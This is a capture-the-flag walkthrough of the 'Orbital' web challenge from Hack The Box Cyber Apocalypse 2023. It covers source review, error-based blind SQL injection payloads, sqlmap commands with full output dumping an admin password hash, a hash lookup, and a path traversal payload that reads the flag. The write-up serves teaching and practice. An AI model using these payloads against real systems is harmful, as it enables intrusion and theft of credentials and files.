Orbital walkthrough - Cyber Apocalypse 2023
→ 1 Introduction
I previously wrote about participating in the Hack The Box Cyber Apocalypse 2023 CTF (Capture the Flag) competition.
This walkthrough covers the Orbital challenge in the Web category, which was rated as having an ‘easy’ difficulty. This challenge is a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container.
The description of the challenge is shown below.
The key techniques employed in this walkthrough are:
- manual source code review
- manual, blind error based SQL injection vulnerability analysis
- sqlmap for automating SQL injection exploitation
- path traversal vulnerability analysis and exploitation
→ 2 Mapping the application
→ 2.1 Mapping the application via interaction
-
The target website was opened in the Burp browser, which displayed a login form
→ 2.2 Mapping the application via source code review
To support the interactive mapping and to easily discover hidden endpoints, further mapping of the application was conducted via source code review.
-
From the Dockerfile, the following was observed
-
A python3 base image is used and therefore the application is likely implemented in python3
-
The flag is located in
/signal_sleuth_firmware
-
Python dependencies are installed. This includes the web application framework, Flask
-
The Docker container runs the
entrypoint.sh
shell script
-
-
In
entrypoint.sh
-
A password generation function is defined. The dummy password is only for the downloadable source and does not match the password for the live target. However, this code does reveal the generated password is the 16 byte MD5 hash of some plaintext value
-
A user table is created in a MySQL database called
orbital
-
The
admin
password is generated from thegenPass
function above and persisted to theusers
table -
The last line runs the application via supervisord, which is a “client/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems”.
-
-
config/supervisord.conf
indicates there is a single process running,program:flask
on line 8, which is the Python Flask web application executed with a command line ofpython /app/run.py
on line 9 -
run.py
importsapp
fromapplication.main
on line 1, then runs it on line 3 -
application/main.py
defines a Flask application, which is a Python web application framework, on line 6 and registers blueprints on lines 11-12, which are a way of grouping views and their associated URLs.from flask import Flask from application.blueprints.routes import web, api from application.database import mysql from application.util import response app = Flask(__name__) app.config.from_object('application.config.Config') mysql.init_app(app) app.register_blueprint(web, url_prefix='/') app.register_blueprint(api, url_prefix='/api')
-
application/blueprints/routes.py
defines two sets of key routes
→ 3 Vulnerability analysis - Login SQL injection vulnerability
→ 3.1 Manual source code review
-
In
application/blueprints/routes.py
, on line 35, the/login
route delegates to alogin
function imported fromapplication.database
on line 2@api.route('/login', methods=['POST']) def apiLogin(): if not request.is_json: return response('Invalid JSON!'), 400 data = request.get_json() username = data.get('username', '') password = data.get('password', '') if not username or not password: return response('All fields are required!'), 401 user = login(username, password) if user: session['auth'] = user return response('Success'), 200 return response('Invalid credentials!'), 403
-
In
database.py
, thelogin
function queries the database on line 17. However, the value of the user inputusername
is inserted into the query string via string interpolation. This results in a SQL injection vulnerability, which is an instance of the common weakness CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’). The preceding line 16 also contains a hint that there is a vulnerability here. A good reference for mitigating this type of vulnerability is the OWASP SQL Injection Prevention Cheat Sheet.from flask_mysqldb import MySQL mysql = MySQL() def query(query, args=(), one=False): cursor = mysql.connection.cursor() cursor.execute(query, args) rv = [dict((cursor.description[idx][0], value) for idx, value in enumerate(row)) for row in cursor.fetchall()] return (rv[0] if rv else None) if one else rv def login(username, password): # I don't think it's not possible to bypass login because I'm verifying the password later. user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)
→ 3.2 Confirming the SQL injection vulnerability
The SQL injection vulnerability was confirmed using Burp Repeater and submitting a double quote character in the username field. The response contains an explicit SQL syntax error message
As is typical for SQL injections on login pages, exploitation of the
injection point requires blind
injection techniques, as the HTTP response will not contain data
returned from the database query. This fact can be seen in the
implementation of the login
function in
database.py
, where the function either returns a token or
False
but no query result data.
def login(username, password):
# I don't think it's not possible to bypass login because I'm verifying the password later.
user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)
if user:
passwordCheck = passwordVerify(user['password'], password)
if passwordCheck:
token = createJWT(user['username'])
return token
else:
return False
One technique for blind SQL injections involves submitting conditional queries that result in different response content, depending on whether the query evaluates to a true or false value. Given we know the database used is MySQL, we can take a base conditional query from the PortSwigger SQL injection cheat sheet
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
If the condition is true, this query evaluates to the subquery, otherwise it evaluates to the character ‘a’. This base query can be used in the username field with two variations, based on a specific blind SQL injection technique known as “error-based”.
-
The following query should result in an error as it attempts to compare a subquery containing more than one row with the constant string ‘a’. The trailing comment ensures the closing double quote inserted by the
login
function will be nullified. Also note there is a space after the comment, which is required for MySQL. The second clause in theOR
expression is guaranteed to be evaluated because we already knowadmin
is a valid usernameadmin\" OR (SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),'a'))='a' --
Submitting this query confirmed a SQL error message is returned
-
The following query should be equivalent to querying whether the username is
admin
or ‘a’=‘a’, which is equivalent to querying whether the username isadmin
admin\" OR (SELECT IF(1=0,(SELECT table_name FROM information_schema.tables),'a'))='a' --
Submitting this query confirmed the
admin:admin
login request is performed as per the normal flow
→ 4 Exploitation - dumping the admin password from the database
→ 4.1 sqlmap - confirm the injection point
Given the difference between a SQL query condition which returns true
or false can be observed, a script could be written to exfiltrate the
admin
user’s password by sequentially testing each
character of the admin
user’s password against a wordlist
containing every permitted character. This is a good exercise to perform
at least once for educational purposes. However, within the scope of
Cyber Apocalypse 2023, sqlmap was
employed, as it is a robust, open source tool which eases SQL injection
automation.
The sqlmap workflow employs similar stages to manual SQL injection testing, namely vulnerability detection followed by exploitation. As such, sqlmap was first invoked to verify it can detect the same SQL injection point already determined manually.
Before running sqlmap, the raw /api/login
HTTP request
was stored into a raw.request
file
$ cat raw.request
POST /api/login HTTP/1.1
Host: 68.183.36.246:32015
Content-Length: 41
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://68.183.36.246:32015
Referer: http://68.183.36.246:32015/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
{"username":"admin","password":"admin"}
Next, sqlmap was invoked with the following options:
-
-r raw.request
- use the aforementioned raw HTTP request
-
--dbms MySQL
- specify that only MySQL queries should be tried, given we already know the database is MySQL
-
-p username
- only inject into the username field
-
--string 'Invalid credentials'
- informs sqlmap what string to expect in the response when nothing is injected. This may not be strictly required in this instance but I generally find providing a hint to sqlmap to be more reliable
-
--technique=E
- optional option to only try error based techniques, which is more efficient given we already know a workable technique based on the manual testing results
-
--flush-session
- ensures sqlmap does not use cached responses from previous sessions
As can be seen on lines 34-39, sqlmap successfully detected the injection point using the error-based SQL injection technique.
└─$ sqlmap -r raw.request --dbms MySQL -p username --string 'Invalid credentials' --technique=E --flush-session
___
__H__
___ ___[(]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:16:38 /2023-03-19/
[04:16:38] [INFO] parsing HTTP request from 'raw.request'
JSON data found in POST body. Do you want to process it? [Y/n/q] y
[04:16:40] [INFO] flushing session file
[04:16:40] [INFO] testing connection to the target URL
[04:16:40] [INFO] testing if the provided string is within the target URL page content
[04:16:40] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests
[04:16:41] [INFO] heuristic (basic) test shows that (custom) POST parameter 'JSON username' might be injectable (possible DBMS: 'MySQL')
[04:16:41] [INFO] testing for SQL injection on (custom) POST parameter 'JSON username'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[04:16:43] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[04:17:00] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[04:17:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[04:17:34] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[04:17:51] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[04:17:53] [WARNING] potential permission problems detected ('command denied')
[04:18:08] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[04:18:25] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[04:18:42] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[04:19:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[04:19:01] [INFO] (custom) POST parameter 'JSON username' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
(custom) POST parameter 'JSON username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 428 HTTP(s) requests:
---
Parameter: JSON username ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: {"username":"admin" AND (SELECT 6594 FROM(SELECT COUNT(*),CONCAT(0x716a716271,(SELECT (ELT(6594=6594,1))),0x7162706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TWYv","password":"admin"}
---
[04:20:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[04:20:38] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 322 times, 500 (Internal Server Error) - 114 times
[04:20:38] [INFO] fetched data logged to text files under '/home/REDACTED/.local/share/sqlmap/output/167.71.143.44'
[*] ending @ 04:20:38 /2023-03-19/
→ 4.2 sqlmap - dump the users table
sqlmap was then invoked again but this time, the
--technique=E
and --flush-session
options were
omitted, as sqlmap will use the cached results from the previous session
to determine what technique to use, as can be seen on line 19 below.
Furthermore, the following additional options were specified
-
-T users
-
specify the
users
table to enumerate -
--dump
- dump entries from the specified table
As can be seen on lines 51-56, sqlmap successfully dumped the
admin
user’s MD5 password hash
└─$ sqlmap -r raw.request --dbms MySQL -p username --string 'Invalid credentials' -T users --dump
___
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program
[*] starting @ 04:22:55 /2023-03-19/
[04:22:55] [INFO] parsing HTTP request from 'raw.request'
JSON data found in POST body. Do you want to process it? [Y/n/q] y
[04:22:57] [INFO] testing connection to the target URL
[04:22:57] [INFO] testing if the provided string is within the target URL page content
[04:22:57] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON username ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: {"username":"admin" AND (SELECT 6594 FROM(SELECT COUNT(*),CONCAT(0x716a716271,(SELECT (ELT(6594=6594,1))),0x7162706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TWYv","password":"admin"}
---
[04:22:57] [INFO] testing MySQL
[04:22:58] [INFO] confirming MySQL
[04:22:58] [WARNING] potential permission problems detected ('command denied')
[04:22:59] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[04:22:59] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[04:22:59] [INFO] fetching current database
[04:22:59] [INFO] retrieved: 'orbital'
[04:22:59] [INFO] fetching columns for table 'users' in database 'orbital'
[04:22:59] [INFO] retrieved: 'id'
[04:23:00] [INFO] retrieved: 'int(11)'
[04:23:00] [INFO] retrieved: 'username'
[04:23:00] [INFO] retrieved: 'varchar(255)'
[04:23:01] [INFO] retrieved: 'password'
[04:23:01] [INFO] retrieved: 'varchar(255)'
[04:23:01] [INFO] fetching entries for table 'users' in database 'orbital'
[04:23:02] [INFO] retrieved: '1'
[04:23:02] [INFO] retrieved: '1692b753c031f2905b89e7258dbc49bb'
[04:23:02] [INFO] retrieved: 'admin'
[04:23:02] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[04:23:06] [INFO] writing hashes to a temporary file '/tmp/sqlmapufj4q33m4660/sqlmaphashes-ce15kzdq.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: orbital
Table: users
[1 entry]
+----+----------------------------------+----------+
| id | password | username |
+----+----------------------------------+----------+
| 1 | 1692b753c031f2905b89e7258dbc49bb | admin |
+----+----------------------------------+----------+
[04:23:08] [INFO] table 'orbital.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/167.71.143.44/dump/orbital/users.csv'
[04:23:08] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 1 times, 500 (Internal Server Error) - 16 times
[04:23:08] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/167.71.143.44'
[*] ending @ 04:23:08 /2023-03-19/
→ 4.3 Cracking the admin
user’s password hash
Since the admin
user’s password is stored as an MD5 hash
instead of a Password
Hashing Algorithm and no salt
or pepper is used, the password hash is weak to rainbow table
attacks - that is, lookup in precomputed tables. The hash was trivially
looked up at crackstation.net.
→ 4.4 Logging in as the admin user
The cracked admin
password was used to successfully log
into the site, resulting in the display of a statistics dashboard:
→ 5 Vulnerability analysis -
/api/export
path traversal
Now that successful admin
authentication has been
achieved, it is time to take a closer look at the authenticated routes
in application/blueprints/routes.py
. The
/api/export
route reads a name field from the request body
JSON on lines 49-50, reads a file with that name from the
/communications
directory, then returns the file as an
attachment. However, line 54 contains a path
traversal vulnerability due to creating a path using string
interpolation of an attacker controlled input. This is an instance of
the common weakness CWE-23: Relative
Path Traversal which can be exploited to read files from arbitrary
locations on the file system, subject to the permissions of the running
process.
@api.route('/export', methods=['POST'])
@isAuthenticated
def exportFile():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
communicationName = data.get('name', '')
try:
# Everyone is saying I should escape specific characters in the filename. I don't know why.
return send_file(f'/communications/{communicationName}', as_attachment=True)
except:
return response('Unable to retrieve the communication'), 400
→ 6 Exploitation - read the flag
Previous code analysis revealed the flag is located at
/signal_sleuth_firmware
. Thus, the path traversal
vulnerability in /api/export
was exploited to read the flag
by submitting a payload of ../signal_sleuth_firmware
in the
name
field.
→ 7 Conclusion
The flag was submitted and the challenge was marked as pwned